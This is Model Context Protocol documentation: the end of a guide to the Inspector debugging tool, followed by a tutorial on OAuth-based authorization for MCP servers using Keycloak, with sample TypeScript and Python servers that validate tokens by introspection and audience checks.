On a first launch the web client seeds the catalog with two sample servers: a filesystem server scoped to `/tmp` and the canonical "everything" reference server. See [Configuration and flags](#) for the full rules, including why the CLI and TUI seed an empty catalog instead.

Server Settings

- **Protocol Era:** `legacy` / `auto` / `modern`. See [Protocol eras](#).
- **Log level per request:** the level a modern-era connection stamps on each outgoing request by default, or `off` to opt out (see [Logging](#)).
- **Advertised Extensions:** which extensions the Inspector declares in `capabilities.extensions`. A debugging knob: a server may legitimately change what it registers based on what you advertise. Uncheck the Tasks extension and reconnect against the `test-servers/configs/advertised-extensions-http.json` fixture (setup in [Reproducing each era locally](#)) to watch a tool disappear.
- **Roots:** the roots advertised via the `roots` client capability. `@modelcontextprotocol/server-filesystem`, for instance, calls `roots/list` to learn its allowed directories.
- **Headers, timeouts,** and **OAuth** fields.
- **Fetch lists one page at a time:** when off, list results are auto-aggregated across pages on connect; when on, each list loads page 1 only with a **Load next page** control and an *N pages loaded* status. Reproduce with `test-servers/configs/pagination-http.json`, which paginates 12 tools, resources, and prompts into three pages each.



Tools

Select a tool to see its description, its input schema rendered as a form, and its annotations. Fill the form and call it; the result renders below with structured content, embedded resources, and images handled natively.

On modern-era servers this screen also shows mirrored `Mcp-Param-*` headers, excluded tools, and distinct `-32602` error panels, all covered in [Protocol eras](#).



Resources

Lists resources and resource templates with their MIME types and descriptions, reads content on selection, and offers **Subscribe** on servers that support subscriptions. The subscription mechanics differ by era; see [Resource subscriptions](#).



Prompts

Lists prompt templates with their arguments, and renders the generated messages for the arguments you supply, which is the fastest way to confirm a prompt produces what you intended.



Apps

[MCP Apps](#) are tools that carry UI. The Apps tab renders one in a sandboxed iframe served from a **separate port**, exercises the `ui/*` bridge, and shows the view's `ui/message` submissions and its `notifications/message` logs in side panels.

- The sandbox port is dynamic by default; pin it with `MCP_SANDBOX_PORT` if you need to expose or forward it.
- The sandbox is gated by a `frame-ancestors` CSP, and a bracketed IPv6 literal is not a valid CSP host-source, so browse the Inspector at `localhost`, `127.0.0.1`, a hostname, or a LAN IPv4, **not** at a bare `http://[::1]:...`.
- The sandbox URL is always plain `http`, so an `https://` Inspector page blocks the frame as mixed content. MCP Apps need a plain-`http` origin today.

See [Recipes](#) for the CLI-first automated review flow.



Protocol, Network, and Console

The three tabs show the same traffic at different levels of detail:

- **Protocol:** the JSON-RPC transcript. Requests paired with responses, notifications inline, [MRTR](#) rounds grouped as one conversation, and spec errors rendered by class.
- **Network:** the HTTP layer, for SSE and Streamable HTTP servers. Status codes, request and response headers, and bodies. On modern connections the standardized `Mcp-*` headers are highlighted and sentinel values decoded.
- **Console:** the connected stdio server process's `stderr`, which is where most stdio servers put their own diagnostics.

Secrets are masked in these views, and entries can be cleared or exported.



Deep links

A driver (a script, a CI harness, or the CLI's `--print-handoff`) can reach a *connected* Inspector with a single navigation:

```
http://127.0.0.1:6274/?serverUrl=<url>&transport=http|sse&autoConnect=<token>
```

Parameter	Meaning
serverUrl	The MCP server URL. Restricted to <code>http:</code> / <code>https:</code> ; a crafted <code>javascript:</code> or <code>file:</code> value is rejected.
transport	<code>http</code> (default) or <code>sse</code> .
autoConnect	Required CSRF gate. Must equal the per-launch session token, which only whatever started the server knows.

Three further parameters land you on a *rendered app*: `openApp=<toolName>` names the tool, `appArgs=<base64url(JSON)>` supplies its arguments (merged over the tool's schema defaults), and `autoOpen=<token>` fires the tool call automatically. Because `autoOpen` fires a call, it carries the same mandatory token gate as `autoConnect`.

Host binding and origins

By default the Inspector binds `localhost` and accepts requests only from the loopback origins for its port. Treat both defaults as security boundaries, since the backend spawns processes on your machine.

Binding all interfaces (`HOST=0.0.0.0`) is **refused** unless you set `DANGEROUSLY_BIND_ALL_INTERFACES=true`. Binding a *specific* non-loopback address is allowed with no opt-in, since that's a single deliberate exposure rather than every interface at once.

See the [Hosting on a network](#) recipe for the full matrix, and [Configuration](#) for the variables.

[mcp / docs/2026-07-28/tutorials/security](#)

Understanding Authorization in MCP

mcp/docs/2026-07-28/tutorials/security/authorization.mdx

Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.

MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](#). For detailed information, see the [Authorization specification](#).

When Should You Use Authorization?

While authorization for MCP servers is **optional**, it is strongly recommended when:

- Your server accesses user-specific data (emails, documents, databases)
- You need to audit who performed which actions
- Your server grants access to its APIs that require user consent
- You're building for enterprise environments with strict access controls
- You want to implement rate limiting or usage tracking per user

팁

Authorization for Local MCP Servers

For MCP servers using the [STDIO transport](#), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.

OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.

The Authorization Flow: Step by Step

Let's walk through what happens when a client wants to connect to your protected MCP server:

Initial Handshake

When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata](#)

([PRM](#)) document. The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="mcp",
  resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
```

This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.

Protected Resource Metadata Discovery

With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.

```
{
  "resource": "https://your-server.com/mcp",
  "authorization_servers": ["https://auth.your-server.com"],
  "scopes_supported": ["mcp:tools", "mcp:resources"]
}
```

You can see a more comprehensive example in [RFC 9728 Section 3.2](#).

Authorization Server Discovery

Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.

With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect \(OIDC\) Discovery](#) or [OAuth 2.0 Auth Server Metadata](#) endpoints (depending on authorization server support) and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.

```
{
  "issuer": "https://auth.your-server.com",
  "authorization_endpoint": "https://auth.your-server.com/authorize",
  "token_endpoint": "https://auth.your-server.com/token",
  "registration_endpoint": "https://auth.your-server.com/register"
}
```

Client Registration

With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.

First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.

Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:

```
{
  "client_name": "My MCP Client",
  "redirect_uris": ["http://localhost:3000/callback"],
  "grant_types": ["authorization_code", "refresh_token"],
  "response_types": ["code"]
}
```

If the registration succeeds, the authorization server will return a JSON blob with client registration information.

팁

No DCR or Pre-Registration

In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.

User Authorization

The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:

```
{
  "access_token": "eyJhbGciOiJIUzI1NiIs... ",
  "refresh_token": "def502...",
  "token_type": "Bearer",
  "expires_in": 3600
}
```

The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](#) conventions.

Making Authenticated Requests

Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:

```
GET /mcp HTTP/1.1
Host: your-server.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
```

The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.

Implementation Example

To get started with a practical implementation, we will use a [Keycloak](#) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.

Make sure that you download and install [Docker Desktop](#). We will need it to deploy Keycloak on our development machine.

Keycloak Setup

From your terminal application, run the following command to start the Keycloak container:

```
docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
```

This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.

주의

Not for Production

The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](#) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.

You will be able to access the Keycloak authorization server from your browser at

`http://localhost:8080`.



Keycloak admin dashboard authentication dialog.

When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:

```
http://localhost:8080/realms/master/.well-known/openid-configuration
```

We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.

Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.

 Configuring Keycloak scopes.

After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.

Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.

To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.

 Configuring an audience for a token in Keycloak.

For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.

주의

Not for Production

The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.

Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.

 Setting up client registration details in Keycloak.

주의

Getting the Host

If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.

Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](#). To do that:

1. Go to **Clients**.
2. Click **Create client**.
3. Give your client a unique **Client ID** and click **Next**.
4. Enable **Client authentication** and click **Next**.
5. Click **Save**.

Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.

When you open the client details, go to **Credentials** and take note of the **Client Secret**.



주의

Handling Secrets

Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.

With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:

eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MwK13WGZlVlJlKwGtCS3ZmZzZ3JnRG5s
cmlyZ2t1THlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImhhdCI6MTc1NTU0MDC1NywiYXV0aF90aw1lIjoxNzU1NTM4ODg4LjQj
dGkiOiJvb2N0YWM6YjM0MDEwZmYyODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9z
dDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYXRob3N0OjMwMDAiLCJzdWIiOiIzMDVkNmM2Yi1jNmUw
LTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWZyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODU0OWNiYS04
ZmFlYmRhYjg5NzQiLCJzaWQiOiI4Zjd1YzI3Ni0zNTNmLTJyY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0
b29scyJ9.P5xCRTxORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQ5wbURqfsVOMbL7jiV-sD6miuPzI1tm
K0kN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0K0skyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTfM5lJ
1WkM3Hnxxx1_AAAtJ7i0KMFZ4VCwMmk8hhSC7c1nDauORc0sutxiJuYUZZxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBO
uRbh97_QraET3hl-CNmyS6C72Xc0a0WR_uJ7xVSBTD020aQ1JA6kjCATz30kGYg

Decoded, it will look like this:

```
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "5N71015YnLZMwXfuVRJXkBKvY36songDn1ringkeLys"
}.{
```

```
"exp": 1755540817,
"iat": 1755540757,
"auth_time": 1755538888,
"jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
"iss": "http://localhost:8080/realms/master",
"aud": "http://localhost:3000",
"sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
"typ": "Bearer",
"azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
"sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
"scope": "mcp:tools"
}.[Signature]
```

주의

Embedded Audience

Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.

MCP Server Setup

We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](#).

For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.

TypeScript

You can see the complete TypeScript project in the [sample repository](#).

Prior to running the code below, ensure that you have a `.env` file with the following content:

```
# Server host/port
HOST=localhost
PORT=3000

# Auth server location
AUTH_HOST=localhost
AUTH_PORT=8080
AUTH_REALM=master

# Keycloak OAuth client credentials
```

```
OAUTH_CLIENT_ID=<YOUR_SERVER_CLIENT_ID>
OAUTH_CLIENT_SECRET=<YOUR_SERVER_CLIENT_SECRET>
```

`OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.

In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.

```
import "dotenv/config";
import express from "express";
import { randomUUID } from "node:crypto";
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
import { z } from "zod";
import cors from "cors";
import {
  mcpAuthMetadataRouter,
  getOAuthProtectedResourceMetadataUrl,
} from "@modelcontextprotocol/sdk/server/auth/router.js";
import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
const CONFIG = {
  host: process.env.HOST || "localhost",
  port: Number(process.env.PORT) || 3000,
  auth: {
    host: process.env.AUTH_HOST || process.env.HOST || "localhost",
    port: Number(process.env.AUTH_PORT) || 8080,
    realm: process.env.AUTH_REALM || "master",
    clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
    clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
  },
};

function createOAuthUrls() {
  const authBaseUrl = new URL(
    `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
  );
  return {
    issuer: authBaseUrl.toString(),
    introspection_endpoint: new URL(
      "protocol/openid-connect/token/introspect",
      authBaseUrl,
    ).toString(),
    authorization_endpoint: new URL(
```



```

        "protocol/openid-connect/auth",
        authBaseUrl,
    ).toString(),
    token_endpoint: new URL(
        "protocol/openid-connect/token",
        authBaseUrl,
    ).toString(),
  });
}

function createRequestLogger() {
  return (req: any, res: any, next: any) => {
    const start = Date.now();
    res.on("finish", () => {
      const ms = Date.now() - start;
      console.log(
        `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
      );
    });
    next();
  };
}

const app = express();

app.use(
  express.json({
    verify: (req: any, _res, buf) => {
      req.rawBody = buf?.toString() ?? "";
    },
  }),
);

app.use(
  cors({
    origin: "*",
    exposedHeaders: ["Mcp-Session-Id"],
  }),
);

app.use(createRequestLogger());

const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
const oauthUrls = createOAuthUrls();

const oauthMetadata: OAuthMetadata = {
  ...oauthUrls,
  response_types_supported: ["code"],
};

const tokenVerifier = {

```

```

verifyAccessToken: async (token: string) => {
    const endpoint = oauthMetadata.introspection_endpoint;

    if (!endpoint) {
        console.error("[auth] no introspection endpoint in metadata");
        throw new Error("No token verification endpoint available in metadata");
    }

    const params = new URLSearchParams({
        token: token,
        client_id: CONFIG.auth.clientId,
    });

    if (CONFIG.auth.clientSecret) {
        params.set("client_secret", CONFIG.auth.clientSecret);
    }

    let response: Response;
    try {
        response = await fetch(endpoint, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded",
            },
            body: params.toString(),
        });
    } catch (e) {
        console.error("[auth] introspection fetch threw", e);
        throw e;
    }

    if (!response.ok) {
        const txt = await response.text();
        console.error("[auth] introspection non-OK", { status: response.status });

        try {
            const obj = JSON.parse(txt);
            console.log(JSON.stringify(obj, null, 2));
        } catch {
            console.error(txt);
        }
        throw new Error(`Invalid or expired token: ${txt}`);
    }

    let data: any;
    try {
        data = await response.json();
    } catch (e) {
        const txt = await response.text();
        console.error("[auth] failed to parse introspection JSON", {
            error: String(e),

```

```

    body: txt,
  });
  throw e;
}

if (data.active === false) {
  throw new Error("Inactive token");
}

if (!data.aud) {
  throw new Error("Resource indicator (aud) missing");
}

const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
const allowed = audiences.some((a) => {
  try {
    return checkResourceAllowed({
      requestedResource: a,
      configuredResource: mcpServerUrl,
    });
  } catch {
    // Keycloak tokens include non-URL audiences (e.g. "account", "test-client").
    // Those are never our resource, so treat them as "no match" instead of crashing.
    return false;
  }
});
if (!allowed) {
  throw new Error(
    `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(
      ", "
    )}`
  );
}

return {
  token,
  clientId: data.client_id,
  scopes: data.scope ? data.scope.split(" ") : [],
  expiresAt: data.exp,
};
},
);
app.use(
  mcpAuthMetadataRouter({
    oauthMetadata,
    resourceServerUrl: mcpServerUrl,
    scopesSupported: ["mcp:tools"],
    resourceName: "MCP Demo Server",
  }),
);

const authMiddleware = requireBearerAuth({

```

```

verifier: tokenVerifier,
requiredScopes: [],
resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
});

const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};

function createMcpServer() {
  const server = new McpServer({
    name: "example-server",
    version: "1.0.0",
  });

  server.registerTool(
    "add",
    {
      title: "Addition Tool",
      description: "Add two numbers together",
      inputSchema: {
        a: z.number().describe("First number to add"),
        b: z.number().describe("Second number to add"),
      },
    },
    async ({ a, b }) => ({
      content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
    }),
  );

  server.registerTool(
    "multiply",
    {
      title: "Multiplication Tool",
      description: "Multiply two numbers together",
      inputSchema: {
        x: z.number().describe("First number to multiply"),
        y: z.number().describe("Second number to multiply"),
      },
    },
    async ({ x, y }) => ({
      content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
    }),
  );

  return server;
}

const mcpPostHandler = async (req: express.Request, res: express.Response) => {
  const sessionId = req.headers["mcp-session-id"] as string | undefined;
  let transport: StreamableHTTPServerTransport;

  if (sessionId && transports[sessionId]) {

```

```

    transport = transports[sessionId];
  } else if (!sessionId && isInitializeRequest(req.body)) {
    transport = new StreamableHTTPServerTransport({
      sessionIdGenerator: () => randomUUID(),
      onsessioninitialized: (sessionId) => {
        transports[sessionId] = transport;
      },
    });

    transport.onclose = () => {
      if (transport.sessionId) {
        delete transports[transport.sessionId];
      }
    };

    const server = createMcpServer();
    await server.connect(transport);
  } else {
    res.status(400).json({
      jsonrpc: "2.0",
      error: {
        code: -32000,
        message: "Bad Request: No valid session ID provided",
      },
      id: null,
    });
    return;
  }

  await transport.handleRequest(req, res, req.body);
};

const handleSessionRequest = async (
  req: express.Request,
  res: express.Response,
) => {
  const sessionId = req.headers["mcp-session-id"] as string | undefined;
  if (!sessionId || !transports[sessionId]) {
    res.status(400).send("Invalid or missing session ID");
    return;
  }

  const transport = transports[sessionId];
  await transport.handleRequest(req, res);
};

app.post("/", authMiddleware, mcpPostHandler);
app.get("/", authMiddleware, handleSessionRequest);
app.delete("/", authMiddleware, handleSessionRequest);

app.listen(CONFIG.port, CONFIG.host, () => {

```

```

console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
console.log(
  `🔒 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
);
});

```

When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.

For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](#).

Python

You can see the complete Python project in the [sample repository](#).

To simplify our authorization interaction, in Python scenarios we rely on the `MCPServer` class from the [Python SDK](#). It publishes the Protected Resource Metadata document, answers unauthenticated requests with a `401` whose `WWW-Authenticate` header points back at that document, and hands every bearer token to a verifier that we supply. Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.

Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:

```

"""Configuration settings for the MCP auth server."""

import os

class Config:
    """Configuration class that loads from environment variables with sensible defaults."""

    # Server settings
    HOST: str = os.getenv("HOST", "localhost")
    PORT: int = int(os.getenv("PORT", "3000"))

    # Auth server settings
    AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
    AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
    AUTH_REALM: str = os.getenv("AUTH_REALM", "master")

    # OAuth client settings
    OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "test-client")
    OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "")

    # Scope required on every token
    MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")

```

```

@property
def server_url(self) -> str:
    """Build the server URL."""
    return f"http://{self.HOST}:{self.PORT}"

@property
def auth_base_url(self) -> str:
    """Build the auth server base URL."""
    return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"

# Global configuration instance
config = Config()

```

`OAuth_CLIENT_ID` and `OAuth_CLIENT_SECRET` are associated with the MCP server client we created earlier. Set them in your environment before starting the server.

The server implementation is as follows:

```

import datetime
import logging
from typing import Any
from urllib.parse import urljoin

from pydantic import AnyHttpUrl

from mcp.server import MCPServer
from mcp.server.auth.settings import AuthSettings

from .config import config
from .token_verifier import IntrospectionTokenVerifier

logger = logging.getLogger(__name__)

def create_oauth_urls() -> dict[str, str]:
    """Create OAuth URLs based on configuration (Keycloak-style)."""
    auth_base_url = config.auth_base_url

    return {
        "issuer": auth_base_url,
        "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
        "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
        "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
    }

def create_server() -> MCPServer:
    """Create and configure the MCP server."""

    oauth_urls = create_oauth_urls()

```

```

token_verifier = IntrospectionTokenVerifier(
    introspection_endpoint=oauth_urls["introspection_endpoint"],
    server_url=config.server_url,
    client_id=config.OAUTH_CLIENT_ID,
    client_secret=config.OAUTH_CLIENT_SECRET,
)

app = MCPServer(
    name="MCP Resource Server",
    instructions="Resource Server that validates tokens via Authorization Server introspection",
    debug=True,
    token_verifier=token_verifier,
    auth=AuthSettings(
        issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
        required_scopes=[config.MCP_SCOPE],
        resource_server_url=AnyHttpUrl(config.server_url),
    ),
)

@app.tool()
async def add_numbers(a: float, b: float) -> dict[str, Any]:
    """
    Add two numbers together.
    This tool demonstrates basic arithmetic operations with OAuth authentication.

    Args:
        a: The first number to add
        b: The second number to add
    """
    result = a + b
    return {
        "operation": "addition",
        "operand_a": a,
        "operand_b": b,
        "result": result,
        "timestamp": datetime.datetime.now().isoformat(),
    }

@app.tool()
async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
    """
    Multiply two numbers together.
    This tool demonstrates basic arithmetic operations with OAuth authentication.

    Args:
        x: The first number to multiply
        y: The second number to multiply
    """
    result = x * y
    return {

```



```

        "operation": "multiplication",
        "operand_x": x,
        "operand_y": y,
        "result": result,
        "timestamp": datetime.datetime.now().isoformat(),
    }

    return app

def main() -> int:
    """
    Run the MCP Resource Server.

    This server:
    - Provides RFC 9728 Protected Resource Metadata
    - Validates tokens via Authorization Server introspection
    - Serves MCP tools requiring authentication

    Configuration is loaded from config.py and environment variables.
    """
    logging.basicConfig(level=logging.INFO)

    oauth_urls = create_oauth_urls()

    try:
        mcp_server = create_server()

        logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
        logger.info("Authorization Server: %s", oauth_urls["issuer"])

        mcp_server.run(
            transport="streamable-http",
            host=config.HOST,
            port=config.PORT,
            streamable_http_path="/",
        )
        return 0

    except Exception:
        logger.exception("Server error")
        return 1

if __name__ == "__main__":
    exit(main())

```

Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts.

```

"""Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""

```

```

import logging
from typing import Any

import httpx2

from mcp.server.auth.provider import AccessToken, TokenVerifier
from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url

logger = logging.getLogger(__name__)

class IntrospectionTokenVerifier(TokenVerifier):
    """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662)."""

    def __init__(
        self,
        introspection_endpoint: str,
        server_url: str,
        client_id: str,
        client_secret: str,
    ):
        self.introspection_endpoint = introspection_endpoint
        self.server_url = server_url
        self.client_id = client_id
        self.client_secret = client_secret
        self.resource_url = resource_url_from_server_url(server_url)

    async def verify_token(self, token: str) -> AccessToken | None:
        """Verify token via introspection endpoint."""
        if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
            return None

        timeout = httpx2.Timeout(10.0, connect=5.0)
        limits = httpx2.Limits(max_connections=10, max_keepalive_connections=5)

        async with httpx2.AsyncClient(
            timeout=timeout,
            limits=limits,
            verify=True,
        ) as client:
            try:
                form_data = {
                    "token": token,
                    "client_id": self.client_id,
                }
                # Only send client_secret when one is configured
                # Public clients authenticate with client_id alone.
                if self.client_secret:
                    form_data["client_secret"] = self.client_secret
                headers = {"Content-Type": "application/x-www-form-urlencoded"}

```

```

response = await client.post(
    self.introspection_endpoint,
    data=form_data,
    headers=headers,
)

if response.status_code != 200:
    return None

data = response.json()
if not data.get("active", False):
    return None

if not self._validate_resource(data):
    return None

return AccessToken(
    token=token,
    client_id=data.get("client_id", "unknown"),
    scopes=data.get("scope", "").split() if data.get("scope") else [],
    expires_at=data.get("exp"),
    # AccessToken.resource is `str | None`. Keycloak returns `aud`
    # as a *list* here (e.g. ["test-client", "http://localhost:3000",
    # "account"]); passing that list straight in raises a pydantic
    # ValidationError that the broad `except` below turns into a
    # silent 401. We already confirmed this server's resource is a
    # valid audience in `_validate_resource`, so record that.
    resource=self.resource_url,
    subject=data.get("sub"), # RFC 7662 subject (resource owner)
    claims=data,
)

except Exception:
    logger.exception("Token introspection failed")
    return None

def _validate_resource(self, token_data: dict[str, Any]) -> bool:
    """Validate token was issued for this resource server.

    Rules:
    - Reject if 'aud' missing.
    - Accept if any audience entry matches the derived resource URL.
    - Supports string or list forms per JWT spec.
    """
    if not self.server_url or not self.resource_url:
        return False

    aud: list[str] | str | None = token_data.get("aud")
    if isinstance(aud, list):
        return any(self._is_valid_resource(a) for a in aud)
    if isinstance(aud, str):

```

```

    return self._is_valid_resource(aud)
return False

def _is_valid_resource(self, resource: str) -> bool:
    """Check if the given resource matches our server."""
    return check_resource_allowed(requested_resource=self.resource_url, configured_resource=
resource)

```

For more details, see below or the [Python SDK documentation](#).

Python MCP Server

In the server's root have a `pyproject.toml` file and a `mcp_server` folder. Put all the Python files in the `mcp_server` folder, and fill the `pyproject.toml` file like:

```

[project]
name = "mcp-simple-auth"
version = "0.1.0"
description = "A simple MCP server demonstrating OAuth authentication"
requires-python = ">=3.10"
authors = [{ name = "Model Context Protocol a Series of LF Projects, LLC." }]
license = { text = "MIT" }
dependencies = [
    "httpx>=2.5.0",
    "mcp>=2.0.0rc1",
    "pydantic>=2.0",
]

[project.scripts]
mcp-simple-auth-rs = "mcp_server.server:main"

[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"

[tool.hatch.build.targets.wheel]
packages = ["mcp_server"]

[dependency-groups]
dev = ["pyright>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"]

```

Then run the commands below to start the server.

```

uv sync
uv run mcp-simple-auth-rs

```

C#

